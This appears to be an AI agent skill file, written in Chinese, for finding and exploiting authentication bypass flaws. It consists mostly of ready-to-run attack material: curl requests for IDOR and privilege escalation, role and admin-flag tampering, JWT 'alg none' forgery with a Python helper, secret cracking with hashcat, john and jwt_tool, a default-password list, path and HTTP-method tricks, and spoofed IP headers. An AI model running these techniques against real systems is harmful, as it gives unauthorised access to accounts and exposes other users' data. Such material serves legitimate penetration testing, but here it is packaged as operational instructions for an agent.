auth-bypass
认证绕过漏洞检测与利用。当目标存在登录功能、权限控制、JWT/Session 认证时使用。包括 IDOR、越权访问等。
Full skill instructions
绕过应用程序的认证和授权机制,获取未授权访问。
# 修改用户 ID
curl "http://target.com/api/user/1" -H "Cookie: session=xxx"
curl "http://target.com/api/user/2" -H "Cookie: session=xxx"
# 修改资源 ID
curl "http://target.com/api/order/1001" -H "Cookie: session=xxx"
curl "http://target.com/api/order/1002" -H "Cookie: session=xxx"
# 修改角色参数
curl -X POST "http://target.com/api/profile" \
-H "Cookie: session=xxx" \
-d '{"name":"test","role":"admin"}'
# 修改权限标志
curl -X POST "http://target.com/api/profile" \
-H "Cookie: session=xxx" \
-d '{"name":"test","is_admin":true}'
# 水平越权 - 访问其他用户数据
/api/user/1 → /api/user/2
/api/order/1001 → /api/order/1002
/download?file=user1.pdf → /download?file=user2.pdf
# 垂直越权 - 访问管理员功能
/api/user/profile → /api/admin/users
/dashboard → /admin/dashboard
# 参数污染
/api/user?id=1 → /api/user?id=1&id=2
/api/user?id[]=1 → /api/user?id[]=1&id[]=2
// 修改角色
{"username":"test","role":"user"} → {"username":"test","role":"admin"}
// 修改权限标志
{"username":"test","is_admin":false} → {"username":"test","is_admin":true}
// 修改用户级别
{"username":"test","level":1} → {"username":"test","level":99}
// 添加隐藏参数
{"username":"test"} → {"username":"test","admin":true}
# 1. 修改算法为 none
# Header: {"alg":"none","typ":"JWT"}
# 移除签名部分
# 2. 修改算法 RS256 → HS256
# 使用公钥作为 HMAC 密钥签名
# 3. 弱密钥爆破
hashcat -a 0 -m 16500 jwt.txt wordlist.txt
john jwt.txt --wordlist=wordlist.txt --format=HMAC-SHA256
# 4. 修改 payload
# 解码 → 修改 user_id/role → 重新编码
# Session 固定
# 1. 获取未认证 session
# 2. 诱导用户使用该 session 登录
# 3. 使用同一 session 访问
# Session 预测
# 分析 session 生成规律,预测有效 session
# Session 劫持
# 通过 XSS 窃取 session cookie
admin:admin
admin:password
admin:123456
root:root
root:toor
test:test
guest:guest
user:user
administrator:administrator
# 尝试不同 HTTP 方法
curl -X GET "http://target.com/admin"
curl -X POST "http://target.com/admin"
curl -X PUT "http://target.com/admin"
curl -X DELETE "http://target.com/admin"
curl -X PATCH "http://target.com/admin"
curl -X OPTIONS "http://target.com/admin"
curl -X HEAD "http://target.com/admin"
# 方法覆盖
curl -X POST "http://target.com/admin" -H "X-HTTP-Method-Override: PUT"
curl -X POST "http://target.com/admin" -H "X-Method-Override: PUT"
# 大小写
/admin → /Admin → /ADMIN
# 路径遍历
/admin → /./admin → /../admin/
# URL 编码
/admin → /%61%64%6d%69%6e
# 双斜杠
/admin → //admin → /admin//
# 添加扩展名
/admin → /admin.json → /admin.html
# 添加参数
/admin → /admin?anything → /admin#anything
# 解码 JWT
python3 jwt_tool.py <JWT>
# 测试所有攻击
python3 jwt_tool.py <JWT> -M at
# 修改 payload
python3 jwt_tool.py <JWT> -T
# 爆破密钥
python3 jwt_tool.py <JWT> -C -d wordlist.txt
import base64
import json
# 解码
def decode_jwt(token):
parts = token.split('.')
header = json.loads(base64.urlsafe_b64decode(parts[0] + '=='))
payload = json.loads(base64.urlsafe_b64decode(parts[1] + '=='))
return header, payload
# 编码 (无签名)
def encode_jwt_none(payload):
header = {"alg": "none", "typ": "JWT"}
h = base64.urlsafe_b64encode(json.dumps(header).encode()).rstrip(b'=')
p = base64.urlsafe_b64encode(json.dumps(payload).encode()).rstrip(b'=')
return f"{h.decode()}.{p.decode()}."
# 直接调用 API,绕过前端检查
curl "http://target.com/api/admin/users" -H "Cookie: session=xxx"
# 修改响应中的权限标志
# 使用 Burp 修改响应: {"is_admin":false} → {"is_admin":true}
# 添加 IP 头
X-Forwarded-For: 127.0.0.1
X-Real-IP: 127.0.0.1
X-Originating-IP: 127.0.0.1
X-Remote-IP: 127.0.0.1
X-Remote-Addr: 127.0.0.1
X-Client-IP: 127.0.0.1
True-Client-IP: 127.0.0.1
# 添加 Referer 头
Referer: http://target.com/admin
Referer: http://target.com/
# 空 Referer
